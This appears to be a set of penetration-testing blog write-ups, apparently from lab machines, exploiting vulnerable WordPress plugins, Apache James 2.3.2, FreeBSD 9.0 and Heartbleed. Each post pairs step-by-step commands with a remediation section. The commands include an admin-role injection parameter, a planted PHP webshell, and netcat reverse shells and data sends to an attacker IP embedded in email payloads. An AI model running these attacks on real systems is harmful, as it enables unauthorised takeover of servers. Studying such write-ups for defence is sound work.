WordPress Plugin User Role Editor < 4.24 - Privilege Escalation

by Vry4n_ | Mar 1, 2021 | Linux Exploitation

WordPress Plugin User Role Editor is prone to a security bypass vulnerability. Exploiting this issue may allow attackers to perform otherwise restricted actions by gaining administrator access. WordPress Plugin User Role Editor version 4.24 is vulnerable; prior versions may also be affected.

The WordPress User Role Editor plugin prior to v4.25, is lacking an authorization check within its update user profile functionality ("update" function, contained within the "class-user-other-roles.php" module). Instead of verifying whether the current user has the right to edit other users' profiles ("edit_users" WP capability), the vulnerable function verifies whether the current user has the rights to edit the user ("edit_user" WP function) specified by the supplied user id ("user_id" variable/HTTP POST parameter). Since the supplied user id is the current user's id, this check is always bypassed (i.e. the current user is always allowed to modify its profile).

This vulnerability allows an authenticated user to add arbitrary User Role Editor roles to its profile, by specifying them via the "ure_other_roles" parameter within the HTTP POST request to the "profile.php" module (issued when "Update Profile" is clicked).

By default, this module grants the specified WP user all administrative privileges, existing within the context of the User Role Editor plugin.

Exploit

1. In the main menu go to

• Users - Your Profile

2. Capture web traffic using a proxy, I’d use BurpSuite, and then, click on Update Profile

3. Add &ure_other_roles=administrator to the end of the POST data, and then forward the request and follow the redirects.

• &ure_other_roles=administrator

4. When the page reloads in your browser, we should have a lot more options available to us in the menu. And our user showing administrator rights. Before it only had “Help Desk”

5. Administrator users can then modify PHP code on the site (through themes or plugins) and insert a reverse shell connection payload.

6. Start a netcat listener in the attacking machine

• nc -lvp 5555

7. Now in WordPress having the administrator rights go to

• Plugins - Plugin editor

8. Inject PHP code to any of the plugins’ code. Id modify “Hello Dolly”. I will use the webshell that comes with kali, just edit the remote address and the port

• /usr/share/webshells/php/ php-reverse-shell.php

9. Now execute that code by visiting the hello.php script in /wp-content/plugins/hello.php

• http://wordy/wp-content/plugins/hello.php

10. Check listener you should get a connection back.

• whoami; hostname; date

Remediation

Update to plugin version 4.25 or latest

WordPress Plugin: Plainview Activity Monitor – (Authenticated) Command Injection – CVE-2018-15877

by Vry4n_ | Feb 28, 2021 | Linux Exploitation

Plainview Activity Monitor plugin for WordPress could allow a remote authenticated attacker to execute arbitrary commands on the system. By sending a specially-crafted request, an attacker could exploit this vulnerability using shell metacharacters in the ip parameter to inject and execute arbitrary OS commands on the system.

The Plainview Activity Monitor plugin before 2018/08/26 for WordPress is vulnerable to OS command injection via shell metacharacters in the ip parameter of a wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools request.

More details

https://nvd.nist.gov/vuln/detail/CVE-2018-15877

https://exchange.xforce.ibmcloud.com/vulnerabilities/148904

https://packetstormsecurity.com/files/155502/WordPress-Plainview-Activity-Monitor-20161228-Remote-Command-Execution.html

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15877

https://www.exploit-db.com/exploits/45274

Exploit

1. This is an authenticated exploit, so, we need to have WordPress username & password. I brute forced, and got my way into.

• http://wordy/wp-login.php
• mark / helpdesk01

2. Within the menu go to

• Activity monitor - tools
• /wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools

3. Now fill the IP box and click on Lookup, capture this request using a web proxy. I’ll be using BurpSuite

4. Now we need to inject a Linux command within that “ip” parameter, we can use “|;&” since, these metacharacters have a meaning to the OS

5. Before we forward the crafted request, start a listener on the offensive machine

• nc -lvp 9999

6. After forwarding the request, we immediately get a reverse connection in our machine from the remote WordPress server

• whoami

Remedy

Upgrade to the latest version of Plainview Activity Monitor plugin (20180826 or later), available from the WordPress Plugins Directory.

Apache James Server 2.3.2 – CVE-2015-7611

by Vry4n_ | Feb 24, 2021 | Linux Exploitation

Apache James is a mail and news server and software framework written in Java. A bug in version 2.3.2 enables an attacker to execute arbitrary commands on the machine running the server.

The vulnerability arises from an insecure default configuration and a lack of input validation in the server's user creation mechanism; it allows an attacker to inject commands to execute when a user signs into the machine. Despite the vulnerability, a number of techniques can be employed to reduce the machine's attack surface and mitigate the risk of a compromise.

https://exchange.xforce.ibmcloud.com/vulnerabilities/99535

https://www.exploit-db.com/exploits/35513

https://seclists.org/bugtraq/2015/Sep/142

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-7611

https://www.cvedetails.com/cve/CVE-2015-7611/

https://www.rapid7.com/db/modules/exploit/linux/smtp/apache_james_exec/

Exploitation

1. Scan to verify the version of the services running

• nmap -p- -A -sV -sC 192.168.0.10

2. Log in using defaults

By default, the Apache James administrator has the same username and password, "root." Using these credentials gives us access to the administration console, where we can create new users with the "adduser" command.

• telnet 192.168.0.10 4555
• root/root

3. Create an Exploitable User

The format of the command is "adduser <username> <password>," where "<username>" represents the username to be created, and "<password>" represents the user's password. To gain the ability to put files in "/etc/bash_completion.d," we create a mail user with the username "../../../../../../../../etc/bash_completion.d" with the command:

• listusers
• adduser ../../../../../../../../etc/bash_completion.d password
• listusers

Note:

Bash completion is a functionality through which bash helps users type their commands faster and easier. It accomplishes that by presenting possible options when users press the tab key while typing a command.

The completion script is code that uses the builtin bash command complete to define which completion suggestions can be displayed for a given executable. The nature of the completion options vary from simple static to highly sophisticated.

4. Being there as root admin, we can also, restart users mail passwords

• listusers
• setpassword mindy vpassword

5. Having access to the users’ mail, we can further exploit this vulnerability. First of all, let’s try to read the users emails, lets connect to POP3 (110)

• telnet 192.168.0.10 110
• USER mindy
• PASS vpassword
• LIST
• RETR 2

6. Now, we will send a special email message, from our compromised email address, to the newly created account, that will execute once, the user logs in. This is done via SMTP (25)

• telnet 192.168.0.25
• HELO mindy
• MAIL FROM: <’mindy@localhost>
• RCPT TO: <../../../../../../../../etc/bash_completion.d>
• DATA
• From: mindy@localhost
• ‘
• hostname | nc 192.168.0.13 3333
• .

7. Now at the attacking machine start a netcat listener, once, the user logs in we can see the remote command displayed in the local machine

• nc -lvp 3333 -o out

8. Now that we ran the remote command we can try to inject a bash reverse shell. So, when the user logs in, we receive a direct connection

• telnet 192.168.0.25
• HELO mindy
• MAIL FROM: <’mindy@localhost>
• RCPT TO: <../../../../../../../../etc/bash_completion.d>
• DATA
• From: mindy@localhost
• ‘
• nc -e /bin/bash 192.168.0.13 6666
• .
• quit

8. Start a netcat listener on our machine, and wait for the user to log in

• nc -lvp 6666

Alternative Exploitation

1. We have an automated method of exploiting this using a python script (https://www.exploit-db.com/exploits/35513)

• searchsploit james 2.3.2
• searchsploit -m linux/remote/35513.py

2. Now edit the file, and, add the command you want to run. In this case, I’d update the payload to run a netcat reverse connection

• vi 35513.py
• payload = 'nc -e /bin/bash 192.168.0.13 7777'

3. Run a netcat listener

• nc -lvp 7777

4. Run the python script

• python 35513.py 192.168.0.10

5. Wait for someone to log in

Remedy

Upgrade to the latest version of James Server (2.3.2.1 or later)

Recommendations

Change the Root Password

The root password can be set through the administration console. Changing the password makes an attack more time-consuming by increasing the effort required to gain access.

• telnet 192.168.0.10 4555
• root/root
• setpassword root <newpassword>

Restrict Access to the Administration Console

To limit the attack surface, the administration console should only be accessible from the local machine or from a whitelist of IP ranges, such as those on an internal network. These restrictions are effective because they require the attacker to devise an alternate means of accessing the machine.

Uninstall Bash-Completion

The vulnerability cannot be exploited as described without the presence of Bash-completion on the mail server machine. Though there are other executable paths on the system, e.g. "/etc/rc.d," removing Bash-completion decreases an attacker's options and increases the effort required to exploit the machine

Run the Server as an Unprivileged User

Running the server as an unprivileged user is the most effective of the techniques described here. The default configuration lends the server to run as the root user due to the need to bind to port 25, a privileged port. Choosing a port above 1023 removes this restriction and allows us to run the server as an unprivileged user and on an unprivileged port. To continue serving SMTP requests on port 25, the firewall can forward requests to the new, unprivileged port. In this mode, the server is limited in its use of system resources. An attacker trying to create an exploitable user will fail because the server can no longer alter the contents of "/etc/bash_completion.d."

Sources

https://crimsonglow.ca/~kjiwa/2016/06/exploiting-apache-james-2.3.2.html

FreeBSD 9.0 < 9.1 - 'mmap/ptrace' Local Privilege Escalation

by Vry4n_ | Jan 13, 2021 | Linux Exploitation

FreeBSD could allow a local attacker to gain elevated privileges on the system, caused by insufficient permission checks within the virtual memory system. An attacker could exploit this vulnerability using specific memory mapping and tracing operations to modify portions of the traced process's address space.

The vm_map_lookup function in sys/vm/vm_map.c in the mmap implementation in the kernel in FreeBSD 9.0 through 9.1-RELEASE-p4 does not properly determine whether a task should have write access to a memory location, which allows local users to bypass filesystem write permissions and consequently gain privileges via a crafted application that leverages read permissions, and makes mmap and ptrace system calls.

https://nvd.nist.gov/vuln/detail/CVE-2013-2171

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-2171

https://exchange.xforce.ibmcloud.com/vulnerabilities/85089

How to exploit

1. Find out the version of the server, in this case I found a file named, COPYRIGHT in /, which included the OS version

• uname -a
• cat COPYRIGHT

2. I searched for “freebsd 9.0” in exploit-db.com, and I found an exploit that actually works on my scenario.

• https://www.exploit-db.com/exploits/26368

3. I then downloaded it from searchsploit, which contains the same code

• searchsploit freebsd 9.0
• searchsploit -m freebsd/local/26368.c
• ls -l

4. On the locat machine (Kali), I will start a bind shell

• nc -lvp 4455 < 26368.c

5. From the remote victim (Server), we will now download the file

• nc 192.168.0.18 4455 > exploit.c
• ls
• cat exploit.c

Note: To transfer the files you can use wget, curl from HTTP server, scp, etc, or your preferred method

6. We need to make sure gcc is install in the server for compilation porpuses, it can also be compiled in the local Kali machine

• whereis gcc

7. Compile the exploit

• gcc exploit.c -o exploit

8. check permissions, make sure it is executable, then check current user

• ls -l
• whoami

9. Execute the script, and, check again the current user

• ./exploit
• whoami

Remedy

Refer to FreeBSD-SA-13:06.mmap for patch, upgrade or suggested workaround information.

https://www.freebsd.org/security/advisories/FreeBSD-SA-13:06.mmap.asc

ssl-heartbleed – CVE-2014-0160

by Vry4n_ | Feb 9, 2020 | Linux Exploitation

The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packets, which allows remote attackers to obtain sensitive information from process memory via crafted packets that trigger a buffer over-read, as demonstrated by reading private keys, related to d1_both.c and t1_lib.c, aka the Heartbleed bug.

OpenSSL 1.0.1f, 1.0.1e, 1.0.1d, 1.0.1c, 1.0.1b, 1.0.1a, and 1.0.1 are vulnerable.

https://www.securityfocus.com/bid/66690/solution

https://nvd.nist.gov/vuln/detail/CVE-2014-0160

https://xkcd.com/1354/

Exploitation

1. Scan for the vulnerability

• nmap --script ssl-heartbleed 10.10.10.79

In this case Nmap shows it is vulnerable

• sslyze --heartbleed 10.10.10.79

Sslyze shows it is not vulnerable somehow, this could be an additional test

Running scan with metasploit

• msfconsole
• search heartbleed
• use auxiliary/scanner/ssl/openssl_heartbleed

• show options
• set RHOSTS 10.10.10.79
• exploit

As it shows vulnerable to ssl-heartbleed we run a python script against it

2. Download the exploit https://gist.github.com/eelsivart/10174134

• wget https://gist.githubusercontent.com/eelsivart/10174134/raw/8aea10b2f0f6842ccff97ee921a836cf05cd7530/heartbleed.py
• ls

3. Running heartbleed.py

• python heartbleed.py

• python heartbleed 10.10.10.79 -n 100

The memory is leaked, we can see there an interesting base64 sting. This like that can come across.

This value can be changed to inspect lager/shorter pieces of memory

• vi heartbleed.py

Solution

Updates are available. Please see the references or vendor advisory for more information.